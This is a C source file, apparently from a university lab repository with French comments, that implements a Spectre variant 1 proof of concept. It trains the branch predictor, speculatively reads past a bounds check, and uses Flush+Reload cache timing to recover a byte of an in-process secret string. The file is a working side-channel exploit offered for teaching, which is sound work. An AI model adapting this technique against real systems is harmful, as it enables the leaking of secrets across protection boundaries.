Forked from
SR07 / td_spectre
17 commits behind the upstream repository.
-
Stephane Bonnet authoredStephane Bonnet authored
spectreattackimproved.c 2.33 KiB
#include <emmintrin.h>
#include <x86intrin.h>
#include <stdio.h>
#include <stdint.h>
#define CACHE_HIT_THRESHOLD (145)
#define DELTA 1024
unsigned int buffer_size = 10;
uint8_t buffer[10] = {0, 1, 2, 3, 4, 5, 6, 7, 8, 9};
uint8_t temp = 0;
char *secret = "Some Secret Value";
uint8_t array[256 * 4096];
// Partie 'FLUSH'
void flushSideChannel()
{
int i;
// Ecrire dans le tableau pour forcer l'allocation en RAM (allocation copy-on-write)
for (i = 0; i < 256; i++)
array[i * 4096 + DELTA] = 1;
// Supprimer le tableau du cache
for (i = 0; i < 256; i++)
_mm_clflush(&array[i * 4096 + DELTA]);
}
// RELOAD
static int scores[256];
void reloadSideChannelImproved()
{
int i;
volatile uint8_t *addr;
register uint64_t time1, time2;
int junk = 0;
for (i = 1; i < 256; i++) {
addr = &array[i * 4096 + DELTA];
time1 = __rdtscp(&junk);
junk = *addr;
time2 = __rdtscp(&junk) - time1;
if (time2 <= CACHE_HIT_THRESHOLD) {
scores[i]++; /* Si succès de cache, incrémenter le score pour cette valeur */
}
}
}
// fonction sandbox
uint8_t restrictedAccess(size_t x)
{
if (x < buffer_size) {
return buffer[x];
} else {
return 0;
}
}
void spectreAttack(size_t larger_x)
{
int i;
uint8_t s;
// Forcer le cpu à prédire le branchement qui permet l'accès à buffer dans restrictedAccess
for (i = 0; i < 10; i++) {
restrictedAccess(i);
}
// Vider le cache
_mm_clflush(&buffer_size);
for (i = 0; i < 256; i++)
{
_mm_clflush(&array[i * 4096 + DELTA]);
}
// Demander à restrictedAccess de retourner le secret
s = restrictedAccess(larger_x);
array[s * 4096 + DELTA] += 88;
}
int main()
{
int i;
uint8_t s;
size_t larger_x = (size_t)(secret - (char *)buffer);
flushSideChannel();
for (i = 0; i < 256; i++) {
scores[i] = 0;
}
for (i = 0; i < 1000; i++) {
flushSideChannel();
spectreAttack(larger_x);
reloadSideChannelImproved();
}
int max = 0;
for (i = 0; i < 256; i++) {
if (scores[max] < scores[i])
max = i;
}
printf("Lecture du secret à l'adresse %p = ", (void *)larger_x);
printf("Secret : %d\n", max);
printf("Le nombre de succès de cache est %ld\n", scores[max]);
return (0);
}